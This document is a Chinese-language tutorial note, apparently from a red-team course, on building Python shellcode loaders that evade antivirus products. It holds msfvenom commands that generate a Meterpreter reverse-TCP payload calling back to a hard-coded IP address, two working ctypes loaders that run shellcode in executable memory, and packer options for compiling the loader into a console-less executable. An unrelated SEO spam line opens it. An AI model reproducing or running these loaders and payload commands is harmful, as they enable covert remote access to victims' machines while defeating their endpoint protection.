wordpress百度站长主动推送,青岛做网站哪家强,网站建设空间使用标准,个人网站有什么缺点知识点
#知识点#xff1a;
1、Python-对执行代码做文章
2、Python-对shellcode做文章
3、Python-对代码打包器做文章#章节点#xff1a;
编译代码面-ShellCode-混淆
编译代码面-编辑执行器-编写
编译代码面-分离加载器-编写
程序文件面-特征码定位-修改
程序文件面-加壳花指…
知识点
#知识点
1、Python-对执行代码做文章
2、Python-对shellcode做文章
3、Python-对代码打包器做文章#章节点
编译代码面-ShellCode-混淆
编译代码面-编辑执行器-编写
编译代码面-分离加载器-编写
程序文件面-特征码定位-修改
程序文件面-加壳花指令-资源
代码加载面-Dll反射劫持-加载
权限逻辑面-杀毒进程干扰-结束
工具数据面-通讯内存流量-动态对抗目标
X60 Defender 某绒 管家 VT等编程语言
C/C Python C# Go Powershell Ruby Java ASM等涉及技术
ShellCode混淆加密无文件落地分离拆分白名单DLL加载Syscall加壳加花
资源修改特征修改二次开发CS内存休眠进程注入反沙盒反调试CDN解析等演示案例
1、Python-原生态-MSFCS生成执行代码
2、Python-混淆加密-Base64AES反序列化等
3、Python-打包器选择-PyinstallPy2exeNuitka#Python-原生态-MSFCS生成执行代码
msfvenom -p windows/meterpreter/reverse_tcp lhost47.94.236.117 lport6688 -f c
cs 生成payload c或python
执行代码1
rwxpage ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
执行代码2
ptr ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))#Python-混淆加密-Base64AES反序列化等
Ps具体见代码及讲解思路
msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhost47.94.236.117 lport6688 -f c
另外的XorRc4等加密算法都可以实现测试#Python-打包器选择-PyinstallPy2exeNuitka
1、pyinstaller
-F, –onefile 打包一个单个文件如果你的代码都写在一个.py文件的话可以用这个如果是多个.py文件就别用
-D, –onedir 打包多个文件在dist中生成很多依赖文件适合以框架形式编写工具代码我个人比较推荐这样代码易于维护
-K, –tk 在部署时包含 TCL/TK
-a, –ascii 不包含编码.在支持Unicode的python版本上默认包含所有的编码.
-d, –debug 产生debug版本的可执行文件
-w,–windowed,–noconsole 使用Windows子系统执行.当程序启动的时候不会打开命令行(只对Windows有效)
-c,–nowindowed,–console 使用控制台子系统执行(默认)(只对Windows有效)
使用pyinstaller -F test.py2、py2exe
安装pip install py2exe
打包python setup.py py2exe
代码
setup.py
from distutils.core import setup
import py2exe
INCLUDES [108-pickle-release] #注意修改脚本项目名options {py2exe:{compressed: 1, # 0或1,1压缩0不压缩optimize: 2, # 0、1、2文件的优化级别bundle_files: 1, # 1、2、3,1表示所有文件打包成一个exe文件2表示除了Python的解释器外都绑定3表示不绑定includes: INCLUDES, # 列表包含其它的一些模块dll_excludes: [MSVCP90.dll] # 列表包含的dll文件不会打包进exe程序}
}
setup(version1.0.0,optionsoptions,descriptionthis is a xiaodi test,zipfileNone, # 公用文件的压缩文件名称默认为“library.zip”如果没有则会将这些文件放在最终的exe文件中console[{script: 108-pickle-release.py}] # 生成一个控制台形式的exe程序对应的有windows[]生成GUI形式的exe程序
)3、Nuitka
--standalone方便移植到其他机器不用再安装python
--show-memory --show-progress展示整个安装的进度过程
--nofollow-imports不编译代码中所有的import
--follow-import-toutils,src需要编译成C代码的指定的2个包含源码的文件夹这里用,来进行分隔。
--output-dirout指定输出的结果路径为out。
--windows-disable-console运行exe取消弹框。
--mingw64 #默认为已经安装的vs2017去编译否则就按指定的比如mingw(官方建议)
--standalone 独立环境这是必须的(否则拷给别人无法使用)
--windows-disable-console 没有CMD控制窗口
--output-dirout 生成exe到out文件夹下面去
--show-progress 显示编译的进度很直观
--show-memory 显示内存的占用
--include-qt-pluginssensible,styles 打包后PyQt的样式就不会变了
--plugin-enableqt-plugins 需要加载的PyQt插件
--plugin-enabletk-inter 打包tkinter模块的刚需
--plugin-enablenumpy 打包numpy,pandas,matplotlib模块的刚需
--plugin-enabletorch 打包pytorch的刚需
--plugin-enabletensorflow 打包tensorflow的刚需
--windows-icon-from-ico你的.ico 软件的图标
--windows-company-nameWindows下软件公司信息
--windows-product-nameWindows下软件名称
--windows-file-versionWindows下软件的信息
--windows-product-versionWindows下软件的产品信息
--windows-file-descriptionWindows下软件的作用描述
--windows-uac-adminWindows下用户可以使用管理员权限来安装
--linux-onefile-iconLinux下的图标位置
--onefile 像pyinstaller一样打包成单个exe文件
--include-package复制比如numpy,PyQt5 这些带文件夹的叫包或者轮子
--include-module复制比如when.py 这些以.py结尾的叫模块
使用nuitka --mingw64 --standalone --show-memory --show-progress --nofollow-imports --follow-import-toutils,src --output-dirout 108.py